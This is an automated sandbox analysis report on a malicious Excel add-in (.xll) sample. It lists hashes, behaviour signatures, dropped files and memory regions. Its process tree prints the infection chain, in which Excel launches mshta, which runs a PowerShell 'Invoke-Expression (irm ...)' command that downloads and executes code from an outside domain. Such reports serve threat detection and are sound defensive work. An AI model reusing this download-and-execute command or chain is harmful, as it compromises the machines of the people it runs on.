Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    22-05-2024 23:13

General

  • Target

    f37d7bf4692b5a5e343e2d5486cee5fd373b0440e1cd94ee90b7d5aec89ef293.xll

  • Size

    12KB

  • MD5

    8d70c63a8df748a07c9cc2165ba4a0b7

  • SHA1

    763339fec7706187868f9a0e889410b1fbe675d3

  • SHA256

    f37d7bf4692b5a5e343e2d5486cee5fd373b0440e1cd94ee90b7d5aec89ef293

  • SHA512

    1b0687f78c82faadc4c952c29435b863901b8ecbb91595ffdaf50eca709d596fc878bc881e29c4bb6af3d23acadf403d873efa21e66e591f159a424b176ecb77

  • SSDEEP

    192:oL29RBzDzeobchBj8JON5ONwrudrEPEjr7Ah2:m29jnbcvYJOCWudvr7C2

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f37d7bf4692b5a5e343e2d5486cee5fd373b0440e1cd94ee90b7d5aec89ef293.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1748
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4972
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:128

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RV9E03Y0\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xm3rgoka.vhv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\f37d7bf4692b5a5e343e2d5486cee5fd373b0440e1cd94ee90b7d5aec89ef293.xll

    Filesize

    12KB

    MD5

    8d70c63a8df748a07c9cc2165ba4a0b7

    SHA1

    763339fec7706187868f9a0e889410b1fbe675d3

    SHA256

    f37d7bf4692b5a5e343e2d5486cee5fd373b0440e1cd94ee90b7d5aec89ef293

    SHA512

    1b0687f78c82faadc4c952c29435b863901b8ecbb91595ffdaf50eca709d596fc878bc881e29c4bb6af3d23acadf403d873efa21e66e591f159a424b176ecb77

  • memory/128-57-0x0000000005AB0000-0x0000000005AFC000-memory.dmp

    Filesize

    304KB

  • memory/128-56-0x0000000005A70000-0x0000000005A8E000-memory.dmp

    Filesize

    120KB

  • memory/128-55-0x00000000055B0000-0x0000000005907000-memory.dmp

    Filesize

    3.3MB

  • memory/128-58-0x00000000070C0000-0x000000000773A000-memory.dmp

    Filesize

    6.5MB

  • memory/128-46-0x0000000005540000-0x00000000055A6000-memory.dmp

    Filesize

    408KB

  • memory/128-45-0x00000000054D0000-0x0000000005536000-memory.dmp

    Filesize

    408KB

  • memory/128-44-0x0000000004BF0000-0x0000000004C12000-memory.dmp

    Filesize

    136KB

  • memory/128-43-0x0000000004DA0000-0x00000000053CA000-memory.dmp

    Filesize

    6.2MB

  • memory/128-42-0x00000000025B0000-0x00000000025E6000-memory.dmp

    Filesize

    216KB

  • memory/128-59-0x0000000005F90000-0x0000000005FAA000-memory.dmp

    Filesize

    104KB

  • memory/1748-12-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-6-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-16-0x00007FFE99590000-0x00007FFE995A0000-memory.dmp

    Filesize

    64KB

  • memory/1748-18-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-17-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-9-0x00007FFE99590000-0x00007FFE995A0000-memory.dmp

    Filesize

    64KB

  • memory/1748-11-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-15-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-14-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-13-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-2-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-8-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-7-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-10-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-5-0x00007FFEDC0C3000-0x00007FFEDC0C4000-memory.dmp

    Filesize

    4KB

  • memory/1748-0-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-1-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-4-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-3-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-66-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB

  • memory/1748-82-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-83-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-85-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-84-0x00007FFE9C0B0000-0x00007FFE9C0C0000-memory.dmp

    Filesize

    64KB

  • memory/1748-86-0x00007FFEDC020000-0x00007FFEDC229000-memory.dmp

    Filesize

    2.0MB